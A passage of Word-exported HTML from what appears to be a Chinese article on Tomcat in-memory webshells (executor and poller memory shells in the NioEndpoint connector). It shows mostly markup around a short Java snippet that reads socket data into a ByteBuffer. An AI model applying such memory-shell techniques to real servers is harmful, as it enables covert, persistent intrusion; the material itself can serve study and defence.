style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="font-family:Cambria;">                    </span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;CommentTok&#39;;color: #60A0B0;font-style: italic;font-family: Consolas;">// 推荐作为全局变量，做中间管道</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="font-family:Cambria;">                    </span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;BuiltInTok&#39;;color: #008000;font-family: Consolas;">ByteBuffer</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> allocate </span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">=</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;BuiltInTok&#39;;color: #008000;font-family: Consolas;">ByteBuffer</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">.</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;FunctionTok&#39;;color: #06287E;font-family: Consolas;">allocate</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">(</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;DecValTok&#39;;color: #40A070;font-family: Consolas;">8192</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">);</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="font-family:Cambria;">                    </span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;DataTypeTok&#39;;color: #902000;font-family: Consolas;">int</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> read </span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">=</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;DecValTok&#39;;color: #40A070;font-family: Consolas;">0</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">;</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="font-family:Cambria;">                    </span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;ControlFlowTok&#39;;color: #007020;font-weight: bold;font-family: Consolas;">try</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">{</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="font-family:Cambria;">                    </span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> read </span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">=</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> attachment</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">.</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;FunctionTok&#39;;color: #06287E;font-family: Consolas;">read</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">(</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;KeywordTok&#39;;color: #007020;font-weight: bold;font-family: Consolas;">false</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">,</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> allocate</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">);</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="font-family:Cambria;">                    </span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">}</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;ControlFlowTok&#39;;color: #007020;font-weight: bold;font-family: Consolas;">catch</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">(</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;BuiltInTok&#39;;color: #008000;font-family: Consolas;">IOException</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> e</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">)</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">{</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="font-family:Cambria;">                    </span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">}</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="font-family:Cambria;">                    </span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;BuiltInTok&#39;;color: #008000;font-family: Consolas;">ByteBuffer</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> readBuffer </span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">=</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;BuiltInTok&#39;;color: #008000;font-family: Consolas;">ByteBuffer</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">.</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;FunctionTok&#39;;color: #06287E;font-family: Consolas;">allocate</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">(</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;">read</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">);</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="font-family:Cambria;">                    </span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;CommentTok&#39;;color: #60A0B0;font-style: italic;font-family: Consolas;">// 有多少数据就设置多少数据</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="font-family:Cambria;">                    </span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> readBuffer</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">.</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;FunctionTok&#39;;color: #06287E;font-family: Consolas;">put</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">(</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;">allocate</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">.</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;FunctionTok&#39;;color: #06287E;font-family: Consolas;">array</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">(),</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;DecValTok&#39;;color: #40A070;font-family: Consolas;">0</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">,</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> read</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">);</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="font-family:Cambria;">                    </span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> readBuffer</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">.</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;FunctionTok&#39;;color: #06287E;font-family: Consolas;">position</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">(</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span 